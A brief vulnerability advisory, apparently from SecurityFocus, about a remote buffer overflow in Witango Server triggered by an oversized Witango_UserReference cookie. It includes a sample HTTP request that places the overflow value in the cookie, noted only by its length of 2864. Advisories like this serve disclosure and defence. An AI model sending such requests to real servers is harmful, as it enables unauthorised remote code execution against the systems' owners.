source: http://www.securityfocus.com/bid/8224/info

Witango Server is prone to a remote buffer overflow vulnerability. Remote users may be able to send an HTTP request to a Witango server with a cookie containing a specific variable set to an excessively large value. Remote code execution is possible.

GET /ngssoftware.tml HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword,
application/x-shockwave-flash, */*
Accept-Language: en-gb
User-Agent: My Browser
Host: ngssoftware.com
Connection: Keep-Alive
Cookie: Witango_UserReference= parameter length 2864